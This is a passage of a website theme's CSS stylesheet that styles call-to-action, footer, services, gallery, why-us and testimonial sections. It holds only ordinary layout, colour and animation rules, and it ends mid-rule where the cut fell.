24. Call Section ==================================================================== ***/ .call-to-section { position: relative; padding: 0; z-index: 1; } .call-to-section .shape-1 { position: absolute; right: 0; top: 0; width: 340px; max-width: 100%; height: 100%; background: url(../images/icons/call-to-shape-1.png) right top no-repeat; z-index: 1; } .call-to-section .shape-2 { position: absolute; right: 170px; top: 0; width: 410px; height: 54px; background: url(../images/icons/call-to-shape-2.png) right top no-repeat; z-index: 0; } .call-to-section .inner { position: relative; display: block; padding: 95px 95px 68px; background: var(--thm-base); color: var(--thm-black); border-radius: 7px; overflow: hidden; bottom: -60px; margin-top: -60px; } .call-to-section h2 { position: relative; float: left; display: block; font-size: 60px; line-height: 0.85em; text-transform: uppercase; color: var(--thm-black); font-weight: 500; margin: 0px 0px 25px; z-index: 3; } .call-to-section .link-box { position: relative; float: right; padding-top: 12px; z-index: 3; } .call-to-section__no-margin .inner { bottom: auto; margin-bottom: 0; padding-left: 0; padding-right: 0; padding-top: 0; padding-bottom: 0; margin-top: 0; padding-top: 120px; padding-bottom: 110px; } @media (min-width: 992px) { .call-to-section__no-margin h2 { margin-bottom: 0; padding-top: 15px; } .call-to-section__no-margin .link-box { padding-top: 0; } } /*** ==================================================================== 25. Main Footer ==================================================================== ***/ .main-footer { position: relative; color: #999b9f; background: var(--thm-black) url(../images/background/footer-bg.png) center top no-repeat; } .main-footer .widgets-section { position: relative; padding: 170px 0px 70px; } .main-footer.normal-padding .widgets-section { padding: 120px 0px 70px; } .main-footer .column { position: relative; margin-bottom: 35px; } .main-footer .footer-widget { position: relative; } .main-footer .footer-logo { position: relative; margin-top: -10px; margin-bottom: 20px; } .main-footer h6 { position: relative; font-size: 24px; font-weight: 500; color: #ffffff; text-transform: uppercase; letter-spacing: 0.03em; margin-bottom: 30px; } .main-footer .logo-widget { position: relative; } .main-footer .logo-widget .logo { position: relative; margin-bottom: 26px; } .main-footer .logo-widget .logo img { height: 34px; } .main-footer .logo-widget .text { position: relative; display: block; margin: 0 0 30px; } .main-footer .links-widget ul li { position: relative; margin-bottom: 3px; } .main-footer .links-widget ul li:last-child { margin: 0; } .main-footer .links-widget ul li a { position: relative; color: #999b9f; line-height: 30px; text-transform: capitalize; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .links-widget ul li a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); transform: scaleX(0); transform-origin: left; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .links-widget ul li a:hover:before { transform: scaleX(1); } .main-footer .links-widget ul li a:hover { color: #ffffff; } .main-footer .social-links { position: relative; } .main-footer .social-links li { position: relative; margin-right: 8px; display: inline-block; } .main-footer .social-links li a { position: relative; display: block; color: #999b9f; font-size: 16px; width: 44px; height: 44px; line-height: 44px; background: #1c1e22; text-align: center; border-radius: 50%; transition: all 300ms ease; } .main-footer .social-links li a span { vertical-align: middle; } .main-footer .social-links li a:hover { color: #ffffff; background: var(--thm-base); } .main-footer .info-widget ul li { position: relative; display: block; line-height: 32px; padding-left: 30px; margin-bottom: 5px; } .main-footer .info-widget ul li.address { margin-bottom: 20px; } .main-footer .info-widget ul li .icon { position: absolute; left: 0; top: 0; line-height: 30px; font-size: 16px; color: var(--thm-base); } .main-footer .info-widget ul li:last-child { margin: 0; } .main-footer .info-widget ul li a { position: relative; color: #999b9f; line-height: 28px; transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .main-footer .info-widget ul li a:hover { color: #ffffff; text-decoration: underline; -webkit-text-decoration-color: var(--thm-base); text-decoration-color: var(--thm-base); } .main-footer .newsletter-widget .text { position: relative; display: block; margin: 25px 0 0; font-size: 14px; line-height: 32px; } .main-footer .newsletter-form { position: relative; } .main-footer .newsletter-form form { position: relative; } .main-footer .newsletter-form .form-group { position: relative; margin: 0; } .main-footer .newsletter-form .form-group input[type="text"], .main-footer .newsletter-form .form-group input[type="tel"], .main-footer .newsletter-form .form-group input[type="email"] { position: relative; width: 100%; line-height: 30px; padding: 20px 60px 20px 25px; height: 70px; display: block; font-size: 18px; background: #1c1e22; color: #ffffff; border-radius: 5px; font-family: var(--thm-b-font); border: 1px solid #1c1e22; transition: all 300ms ease; font-size: 14px; } .main-footer .newsletter-form .form-group input[type="text"]:focus, .main-footer .newsletter-form .form-group input[type="email"]:focus, .main-footer .newsletter-form .form-group input[type="tel"]:focus { border-color: var(--thm-base); } .newsletter-form .form-group input::-webkit-input-placeholder { color: #999b9f; } .newsletter-form .form-group .theme-btn { position: absolute; right: 12px; top: 12px; width: 44px; height: 44px; background: var(--thm-base); color: var(--thm-black); border-radius: 50%; } .newsletter-form .form-group .theme-btn span { vertical-align: middle; font-size: 14px; } .newsletter-form .form-group .theme-btn:hover { background: #ffffff; color: var(--thm-base); } .main-footer .footer-bottom { position: relative; text-align: center; } .main-footer .footer-bottom .inner { position: relative; display: block; padding: 35px 0px; line-height: 30px; color: #999b9f; border-top: 1px solid rgba(255, 255, 255, 0.1); } .main-footer .footer-bottom .copyright { position: relative; line-height: 1.5em; } /* main footer two */ .main-footer__two { background-repeat: no-repeat; background-position: center center; background-color: var(--thm-black); padding-top: 120px; } .main-footer__two .footer-widget { padding-bottom: 60px; } .main-footer__two .footer-widget h3 { margin: 0; color: #fff; font-size: 80px; line-height: 0.78; text-transform: uppercase; max-width: 900px; margin-left: auto; margin-right: auto; letter-spacing: 0.1em; } .main-footer__two .footer-widget p { display: flex; align-items: center; justify-content: center; text-align: center; margin: 0; margin-top: 30px; margin-bottom: 35px; } .main-footer__two .footer-widget p span, .main-footer__two .footer-widget p a { color: #999b9f; transition: all 500ms ease; } .main-footer__two .footer-widget p a:hover { color: var(--thm-base); } .main-footer__two .footer-widget p a+a { margin-left: 35px; } .main-footer__two .footer-widget p span { margin-left: 35px; } /* main footer three */ .main-footer__three { background-color: #18212e; padding-top: 100px; } .main-footer__three .footer-widget { margin-bottom: 30px; } .main-footer__three .footer-widget h3 { margin: 0; color: #fff; font-size: 20px; font-weight: bold; line-height: 1; margin-bottom: 50px; } .main-footer__three .footer-widget p { margin: 0; font-size: 16px; line-height: 2.125; color: #959ca6; font-weight: 500; margin-top: -10px; margin-bottom: 30px; } .main-footer__three .footer-widget__links { display: flex; flex-wrap: wrap; margin-top: -30px; } .main-footer__three .footer-widget__links li { flex: 0 0 50%; margin-top: 30px; line-height: 1; } .main-footer__three .footer-widget__links li a { font-size: 16px; font-weight: 500; color: #959ca6; display: inline-block; line-height: 1; transition: all 500ms ease; position: relative; } .main-footer__three .footer-widget__links li a::before { content: ""; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; transform: scale(0, 1); transform-origin: left center; transition: transform 500ms ease; } .main-footer__three .footer-widget__links li:hover a::before { transform: scale(1, 1); } .main-footer__three .footer-widget__links li a:hover { color: var(--thm-base); } .main-footer__three .footer-widget .post-list li { display: flex; } .main-footer__three .footer-widget .post-list li+li { margin-top: 50px; } .main-footer__three .footer-widget .post-list li>img { flex-shrink: 0; width: 68px; height: 70px; margin-right: 20px; } .main-footer__three .footer-widget .post-list li p { margin: 0; color: var(--thm-base); font-size: 12px; text-transform: uppercase; line-height: 1; font-weight: 500; letter-spacing: 0.1em; } .main-footer__three .footer-widget .post-list li h4 { color: #959ca6; font-size: 16px; line-height: 2.125; margin: 0; font-weight: 500; margin-top: 10px; } .main-footer__three .footer-widget .post-list li h4 a { color: inherit; transition: all 500ms ease; } .main-footer__three .footer-widget .post-list li h4 a:hover { color: #fff; } .main-footer__three .footer-widget .contact-list { margin-top: -20px; } .main-footer__three .footer-widget .contact-list li { position: relative; font-size: 16px; line-height: 1.875; border-bottom: 1px solid rgba(255, 255, 255, 0.1); font-weight: 500; padding-left: 30px; min-height: 58px; display: flex; align-items: center; } .main-footer__three .footer-widget .contact-list li:last-child { border-bottom: 0; margin-top: 15px; } .main-footer__three .footer-widget .contact-list li a { color: inherit; transition: all 500ms ease; } .main-footer__three .footer-widget .contact-list li a:hover { color: #fff; } .main-footer__three .footer-widget .contact-list li>span { position: absolute; top: 50%; left: 0; transform: translateY(-44%); font-size: 18px; color: var(--thm-base); } .main-footer__three .footer-widget .contact-list li:last-child>span { top: 0; transform: translateY(0); } .main-footer__three .btn-style-three:hover { background-color: #fff; color: var(--thm-black); } .main-footer__three .bottom-footer { background-color: #151d28; border-top: 1px solid rgba(255, 255, 255, 0.1); padding-top: 39.5px; padding-bottom: 39.5px; margin-top: 60px; } .main-footer__three .bottom-footer .auto-container { display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; } .main-footer__three .bottom-footer .left-content { display: flex; align-items: center; } .main-footer__three .bottom-footer .left-content p { margin: 0; font-size: 16px; color: #959ca6; font-weight: 500; line-height: 41px; border-left: 1px solid rgba(255, 255, 255, 0.1); padding-left: 40px; margin-left: 40px; } .main-footer__three .bottom-footer .social-links { display: flex; align-items: center; } .main-footer__three .bottom-footer .social-links a { font-size: 20px; color: #959ca6; transition: all 500ms ease; } .main-footer__three .bottom-footer .social-links a:hover { color: var(--thm-base); } .main-footer__three .bottom-footer .social-links li+li { margin-left: 40px; } .footer-four { background-color: #161616; } .footer-four .auto-container { display: flex; justify-content: center; align-items: center; flex-direction: column; padding-top: 40px; padding-bottom: 40px; } @media (min-width: 768px) { .footer-four .auto-container { flex-direction: row; justify-content: space-between; } } .footer-four__social { display: flex; align-items: center; margin-top: 20px; } @media (min-width: 768px) { .footer-four__social { margin-top: 0; } } .footer-four__social a { color: #a4a4a4; font-size: 18px; transition: all 500ms ease; } .footer-four__social a:hover { color: #fff; } .footer-four__social a+a { margin-left: 20px; } @media (min-width: 768px) { .footer-four__social a { font-size: 20px; } .footer-four__social a+a { margin-left: 40px; } } /*** ==================================================================== 26. Services Section ==================================================================== ***/ .services-section-two { position: relative; padding: 120px 0px 0px; background: #ffffff; } .services-section-two .sec-title { margin-bottom: 30px; } .services-section-two .sec-title .column { margin-bottom: 20px; } .services-section-two .sec-title .lower-text { padding-top: 0; margin-top: 0; } .services-section-two .services { position: relative; z-index: 2; margin-bottom: -100px; } .service-block-two { position: relative; margin-bottom: 30px; } .service-block-two .inner-box { position: relative; display: block; padding: 50px 45px 40px; background: #ffffff; border-radius: 7px; box-shadow: 0px 0px 10px 0px rgba(0, 0, 0, 0.05); transition: all 500ms ease; } .service-block-two .inner-box:before { content: ""; position: absolute; left: 0; top: 0; right: 0; bottom: 0; display: block; border-radius: 7px; overflow: hidden; box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.04); transition: all 500ms ease; } .service-block-two .inner-box:hover:before { background: var(--thm-black); bottom: -10px; } .service-block-two .inner-box .bottom-curve { position: absolute; right: -70px; bottom: -10px; width: 120px; height: 120px; background: #ffffff; opacity: 0.1; z-index: 0; transform: skewX(0deg) scaleX(0); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover .bottom-curve { transform: skewX(-45deg) scaleX(1); } .service-block-two .inner-box .icon-box { position: relative; display: block; color: var(--thm-base); font-size: 64px; line-height: 1em; margin-bottom: 20px; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover .icon-box { color: var(--thm-base); } .service-block-two .inner-box h5 { font-size: 30px; text-transform: uppercase; color: var(--thm-black); font-weight: 400; letter-spacing: 1px; line-height: 1.1em; margin: 0; } .service-block-two .inner-box h5 a { color: var(--thm-black); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block-two .inner-box:hover h5, .service-block-two .inner-box:hover h5 a { color: #ffffff; } .service-block-two .inner-box h5 a:hover { text-decoration: underline; } .service-block-two .text { position: relative; display: block; color: var(--thm-text); padding: 30px 0px 0px; z-index: 1; } .service-block-two .inner-box:hover .text { color: #999b9f; } .service-block-two .link-box { position: absolute; right: 3px; bottom: 8px; width: 30px; height: 30px; z-index: 1; } .service-block-two .link-box a { position: relative; line-height: 30px; font-size: 20px; color: #ffffff; } /*** ==================================================================== 27. We DO Section ==================================================================== ***/ .featured-section { position: relative; padding: 200px 0px 90px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; } .featured-section__about-two { background-color: #fff; background-image: none; padding-top: 120px; padding-bottom: 80px; } .featured-section .left-col { position: relative; margin-bottom: 30px; } .featured-section .left-col .inner { position: relative; display: block; padding-right: 30px; } .featured-section .left-col .image-box { position: relative; display: block; border-radius: 7px; overflow: hidden; } .featured-section .left-col .image-box:before { content: ""; position: absolute; left: -90px; bottom: 0; width: 180px; height: 180px; background: var(--thm-base); z-index: 1; transform: skewX(45deg); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .featured-section .left-col .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 7px; } .featured-section .left-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .featured-section .right-col { position: relative; } .featured-section .right-col .inner { position: relative; display: block; } .featured-section .features { position: relative; } .featured-section .feature { position: relative; margin-bottom: 30px; } .featured-section .feature .inner-box { position: relative; display: block; padding-left: 15px; } .featured-section .feature .inner-box:before { content: ""; position: absolute; left: 0; top: 11px; width: 5px; height: 5px; background: var(--thm-base); border-radius: 50%; } .featured-section .feature h6 { font-size: 24px; text-transform: uppercase; left: 1px; font-weight: 400; margin-bottom: 0; color: var(--thm-black); } .featured-section .feature .text { position: relative; display: block; color: var(--thm-text); padding: 10px 0px 0px; } /*** ==================================================================== 28. Gallery Section ==================================================================== ***/ .gallery-section-two { position: relative; padding: 120px 0 0px; } .gallery-section-two.alternate { position: relative; background: #ffffff url(../images/background/pattern-2.png) right top repeat; padding-bottom: 90px; } .gallery-section-two .sec-title { margin-bottom: 40px; } .project-tab { position: relative; } .project-tab .tabs-header { position: relative; text-align: center; } .project-tab .product-tab-btns { position: relative; margin-bottom: 50px; } .project-tab .product-tab-btns .p-tab-btn { position: relative; display: inline-block; vertical-align: top; font-size: 24px; line-height: 40px; padding: 0px 0px; cursor: pointer; color: var(--thm-text); font-weight: 300; margin: 0 20px 10px; text-transform: uppercase; letter-spacing: 1px; background: none; font-family: var(--thm-font); transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-base); transform: scaleX(0); transform-origin: left; transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn sup { position: absolute; right: 0; top: 3px; font-size: 16px; opacity: 0; visibility: hidden; transition: all 300ms ease; } .project-tab .product-tab-btns .p-tab-btn.active-btn sup { opacity: 1; visibility: visible; } .project-tab .product-tab-btns .p-tab-btn.active-btn:before { transform: scaleX(1); } .project-tab .product-tab-btns .p-tab-btn.active-btn { color: var(--thm-black); font-weight: 400; padding-right: 20px; } .project-tab .p-tabs-content { position: relative; display: block; margin: 0px -15px; } .project-tab .p-tab { position: absolute; left: 0px; top: 0px; width: 100%; height: auto; visibility: hidden; } .project-tab .p-tab.active-tab { position: relative; visibility: visible; z-index: 5; } .p-tab .gallery-item { position: relative; opacity: 0; visibility: hidden; transform: scaleX(0); } .p-tab.active-tab .gallery-item { opacity: 1; visibility: visible; transform: scaleX(1); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .project-tab .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 30px; display: none; } .project-tab .owl-theme .owl-dots { position: relative; width: 100%; text-align: center; padding-top: 40px; } .project-tab .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .project-tab .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .project-tab .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } .gallery-section-two.alternate .owl-theme .owl-dots { display: none; } /*** ==================================================================== 29. Why Us Section ==================================================================== ***/ .why-us-section { position: relative; padding: 110px 0px 80px; background: #ffffff; } .why-us-section .left-col { position: relative; margin-bottom: 40px; } .why-us-section .left-col .inner { position: relative; display: block; } .why-us-section .left-col .round-box { position: relative; display: block; border-radius: 50%; } .why-us-section .left-col .image-box { position: relative; display: block; border-radius: 50%; overflow: hidden; } .why-us-section .left-col .image-box img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transition: all 500ms ease; border-radius: 50%; } .why-us-section .left-col .image-box:hover img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .why-us-section .left-col .image-box:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background: url(../images/icons/shape-1.png) left top no-repeat; z-index: 1; } .why-us-section .left-col .image-box:after { content: ""; position: absolute; left: 50px; top: -70%; width: 100%; height: 100%; background: var(--thm-black); opacity: 0.2; border-radius: 50%; z-index: 2; } .why-us-section .left-col .vid-link { position: absolute; right: 55px; bottom: 25px; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; } .why-us-section .left-col .vid-link .icon { position: relative; display: block; width: 100px; height: 100px; line-height: 100px; text-align: center; font-size: 24px; color: var(--thm-black); background: var(--thm-base); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .why-us-section .left-col .vid-link a:hover .icon { background: var(--thm-black); color: var(--thm-base); } .why-us-section .left-col .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 50%; } .why-us-section .left-col .vid-link .ripple, .why-us-section .left-col .vid-link .ripple:before, .why-us-section .left-col .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 116px; height: 116px; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -o-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .why-us-section .left-col .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .why-us-section .left-col .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .why-us-section .right-col { position: relative; } .why-us-section .right-col .inner { position: relative; display: block; padding-left: 50px; } .why-us-section .features { position: relative; } .why-us-section .feature { position: relative; margin-bottom: 40px; } .why-us-section .feature .inner-box { position: relative; display: block; padding-left: 90px; } .why-us-section .feature .inner-box:before { content: "\f131"; font-family: "Flaticon"; position: absolute; left: 0; top: 0px; width: 60px; height: 60px; color: var(--thm-base); font-size: 20px; line-height: 60px; text-align: center; background: rgba(var(--thm-base-rgb), 0.2); border-radius: 50%; transition: all 500ms ease; } .why-us-section .feature:hover .inner-box:before { background-color: var(--thm-black); color: #fff; } .why-us-section .feature h6 { font-size: 24px; text-transform: uppercase; left: 1px; font-weight: 400; margin-bottom: 0; } .why-us-section .feature .text { position: relative; display: block; color: var(--thm-text); padding: 10px 0px 0px; } /*** ==================================================================== 30. Testimonials Section ==================================================================== ***/ .testimonials-section { position: relative; padding: 120px 0px; background: #ffffff url(../images/background/pattern-2.png) left top repeat; overflow: hidden; } .testimonials-page { padding-bottom: 90px; } .testimonials-section .sec-title { margin-bottom: 40px; } .testimonials-section .carousel-box { position: relative; margin: 0px 0px; } .testimonials-section .carousel-box .owl-stage-outer { overflow: visible; } .testi-block { position: relative; margin-bottom: 30px; } .owl-theme .testi-block { margin: 0; } .testi-block .inner { position: relative; display: block; padding: 60px 60px 50px; background: #ffffff; border-radius: 7px; box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); transition: all 500ms ease; } .testi-block:hover .inner { background-color: var(--thm-base); } .testimonials-page .testi-block .inner { -ms-box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.05); box-shadow: 0px 0px 30px 0px rgba(0, 0, 0, 0.05); } .owl-theme .testi-block .inner { margin: 7px 0px; } .testi-block .icon { position: absolute; right: 50px; top: 60px; font-weight: 700; font-size: 100px; line-height: 1em; color: var(--thm-base); transition: all 500ms ease; } .testi-block:hover .icon { color: var(--thm-black); } .testi-block .info { position: relative; padding-left: 100px; padding-top: 16px; min-height: 70px; margin-bottom: 35px; } .testi-block .info .image { position: absolute; left: 0; top: 0; width: 70px; height: 70px; border-radius: 50%; overflow: hidden; } .testi-block .info .image img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; transition: all 500ms ease; } .testi-block:hover .info .image img { -webkit-filter: grayscale(0%); -ms-filter: grayscale(0%); -moz-filter: grayscale(0%); filter: grayscale(0%); } .testi-block .info .name { display: block; font-size: 24px; line-height: 1.2em; color: var(--thm-black); font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; font-family: var(--thm-font); } .testi-block .info .designation { display: block; font-size: 16px; color: var(--thm-base); line-height: 1.2em; font-weight: 300; text-transform: uppercase; font-family: var(--thm-font); letter-spacing: 0.05em; transition: all 500ms ease; } .testi-block:hover .info .designation { color: var(--thm-black); } .testi-block .text { position: relative; display: block; color: var(--thm-text); transition: all 500ms ease; padding: 0px 0px; } .testi-block:hover .text { color: var(--thm-black); } .testimonials-section .owl-theme .owl-nav { position: relative; width: 100%; text-align: center; padding-top: 30px; display: none; } .testimonials-section .owl-theme .owl-dots { position: absolute; top: -70px; width: 1170px; left: 50%; margin-left: -585px; text-align: right; } .testimonials-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 0px 0px 6px; } .testimonials-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; background: #d3d3d4; border: 2px solid #d3d3d4; border-radius: 50%; } .testimonials-section .owl-theme .owl-dots .owl-dot.active span { background: #ffffff; border-color: var(--thm-base); } /* testimonials block threee */ .testi-block-three { padding-top: 120px; padding-bottom: 120px; background-color: #eff1f4; } .testi-block-three__single { text-align: center; } .testi-block-three__top { background-color: #fff; position: relative; transition: all 500ms ease; margin-bottom: 50px; padding: 49px 0; } .testi-block-three__single:hover .testi-block-three__top { background-color: var(--thm-base); } .testi-block-three__top p { margin: 0; font-size: 18px; font-weight: 500; line-height: 34px; color: #697280; max-width: 252px; margin-left: auto; margin-right: auto; } .testi-block-three__single:hover .testi-block-three__top p { color: #fff; } .testi-block-three__top::after { content: ""; width: 78px; height: 20px; background-image: url(../images/update-1-12-2020/shapes/testi-arrow-hover.png); background-repeat: no-repeat; background-position: center center; position: absolute; top: 100%; left: 50%; transform: translateX(-50%); transition: all 500ms ease; } .testi-block-three__single:hover .testi-block-three__top::after { background-image: url(../images/update-1-12-2020/shapes/testi-arrow.png); } .testi-block-three__single h3 { margin: 0; font-size: 20px; font-weight: 600; color: var(--thm-black); line-height: 1; margin-top: 15px; margin-bottom: 10px; } .testi-block-three__single span { color: var(--thm-base); text-transform: uppercase; font-size: 12px; font-weight: 500; letter-spacing: 0.2em; line-height: 1; display: block; } .testimonials-four { padding-top: 90px; padding-bottom: 60px; } @media (min-width: 992px) { .testimonials-four { padding-top: 120px; padding-bottom: 90px; } } .testimonials-four-card { border-style: solid; border-width: 1px; border-color: #e9ebee; border-radius: 8px; background-color: #ffffff; padding: 45px; padding-bottom: 63px; padding-top: 30px; margin-bottom: 77px; position: relative; transition: all 500ms ease; } .testimonials-four-card:hover { box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); } @media (min-width: 992px) { .testimonials-four-card { padding: 60px; padding-top: 50px; } } .testimonials-four-card__content p { margin: 0; font-size: 16px; line-height: 34px; color: #686a6f; font-family: var(--thm-b-font); margin-bottom: 15px; } @media (min-width: 992px) { .testimonials-four-card__content p { margin-bottom: 28px; font-size: 18px; } } .testimonials-four-card__content .name { margin: 0; text-transform: uppercase; letter-spacing: 0; font-size: 24px; line-height: 1; color: var(--thm-black); font-weight: 400; font-family: var(--thm-font); } .testimonials-four-card__content .designation { font-weight: 300; letter-spacing: 0.1em; text-transform: uppercase; color: var(--thm-base); font-family: var(--thm-font); margin: 0; } .testimonials-four-card .image { display: inline-flex; padding: 10px; border: 1px solid #e9ebee; border-radius: 8px; position: absolute; left: 45px; bottom: 0; transform: translateY(50%); transition: all 500ms ease; } .testimonials-four-card:hover .image { border-color: var(--thm-base); } .testimonials-four-card .image img { border-radius: 8px; filter: grayscale(100%); } .testimonials-four__block__top { text-align: center; margin-bottom: 50px; } @media (min-width: 992px) { .testimonials-four__block__top { text-align: left; display: flex; justify-content: space-between; align-items: center; } } .testimonials-four__block__top .sec-title { margin-bottom: 15px; } @media (min-width: 992px) { .testimonials-four__block__top .sec-title { margin-bottom: 0; } } .testimonials-four__block__top .sec-title h2 { white-space: pre-line; } .testimonials-four__block__top .block-text p { white-space: pre-line; font-size: 16px; line-height: 34px; color: #686a6f; margin: 0; font-family: var(--thm-b-font); } .testimonials-four-carousel .owl-dots { display: flex; justify-content: center; align-items: center; margin-top: 30px; } .testimonials-four-carousel .owl-dots .owl-dot { width: 10px; height: 10px; background-color: var(--thm-black); border: 2px solid var(--thm-black); opacity: 0.2; border-radius: 50%; transition: all 500ms ease; } .testimonials-four-carousel .owl-dots .owl-dot+.owl-dot { margin-left: 5px; } .testimonials-four-carousel .owl-dots .owl-dot.active { border-color: var(--thm-base); background-color: #fff; opacity: 1; } /* testimonials five */ .testimonials-five { padding-top: 90px; padding-bottom: 45px; } @media (min-width: 992px) { .testimonials-five { padding-top: 120px; padding-bottom: 75px; } } .testimonials-five .sec-title { margin-bottom: 50px; } .testimonials-five .sec-title h2 { font-size: 40px; } .testimonials-five-card { text-align: center; } .testimonials-five .testimonials-five-card .testimonials-five-card__image { display: block; margin-left: auto; margin-right: auto; border-radius: 50%; width: 125px; filter: grayscale(100%); } .testimonials-five-card__text { margin: 0; font-size: 30px; line-height: 1.5em; color: var(--thm-black); font-weight: 300; max-width: 875px; margin-left: auto; margin-right: auto; margin-top: 50px; } @media (min-width: 992px) { .testimonials-five-card__text { font-size: 40px; } } .testimonials-five-card__title { margin: 0; text-transform: uppercase; color: var(--thm-base); font-size: 26px; line-height: 1; margin-top: 55px; margin-bottom: 5px; } @media (min-width: 992px) { .testimonials-five-card__title { font-size: 30px; } } .testimonials-five-card__designation { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 1; } .testimonials-five__carousel .owl-nav { display: flex; justify-content: center; align-items: center; text-align: center; margin-top: 40px !important; } @media (min-width: 992px) { .testimonials-five__carousel .owl-nav { margin-top: 0 !important; } } .testimonials-five__carousel .owl-nav button[class*="owl-"] { width: 55px; height: 55px; background-color: #f4f5f8; border-radius: 50%; color: var(--thm-black); font-size: 18px; position: relative; transition: all 500ms ease; } .testimonials-five__carousel .owl-nav button[class*="owl-"]:hover { background-color: var(--thm-base); color: var(--thm-black); } .testimonials-five__carousel .owl-nav button[class*="owl-next"] { margin-left: 20px; } @media (min-width: 992px) { .testimonials-five__carousel .owl-nav button[class*="owl-"] { width: 73px; height: 73px; font-size: 22px; position: absolute; top: 50%; right: 100%; } .testimonials-five__carousel .owl-nav button[class*="owl-next"] { right: auto; left: 100%; } } .testimonials-five__carousel .owl-nav button[class*="owl-"] span::before { content: "\f172"; font-family: "Flaticon"; font-weight: 400; } .testimonials-five__carousel .owl-nav button[class*="owl-next"] span::before { transform: rotate(180deg); display: block; } .testimonials-six { text-align: center; padding-top: 70px; } @media (min-width: 768px) { .testimonials-six { padding-top: 110px; } } @media (min-width: 1200px) { .testimonials-six { padding-top: 190px; } } .testimonials-six__content { margin: 0; color: var(--thm-black); font-size: 40px; font-weight: 400; width: 100%; margin-left: auto; margin-right: auto; line-height: 1.4em; } .testimonials-six__content br { display: none; } @media (min-width: 992px) { .testimonials-six__content { font-size: 50px; } .testimonials-six__content br { display: inherit; } } .testimonials-six__meta { display: flex; align-items: center; justify-content: center; font-size: 20px; font-weight: 400; color: var(--thm-text); margin-top: 20px; } @media (min-width: 992px) { .testimonials-six__meta { font-size: 28px; margin-top: 50px; } } .testimonials-six__meta span:first-child { color: var(--thm-base); } .testimonials-six__meta span:not(:last-child)::after { content: "-"; margin-left: 20px; margin-right: 20px; color: var(--thm-text) !important; } .testimonials-six hr { border-width: 1px; border-color: #e9ebee; margin: 0; margin-top: 80px; } @media (min-width: 768px) { .testimonials-six hr { margin-top: 120px; } } #testimonials-six-pagination { position: relative; bottom: auto; left: auto; display: flex; align-items: 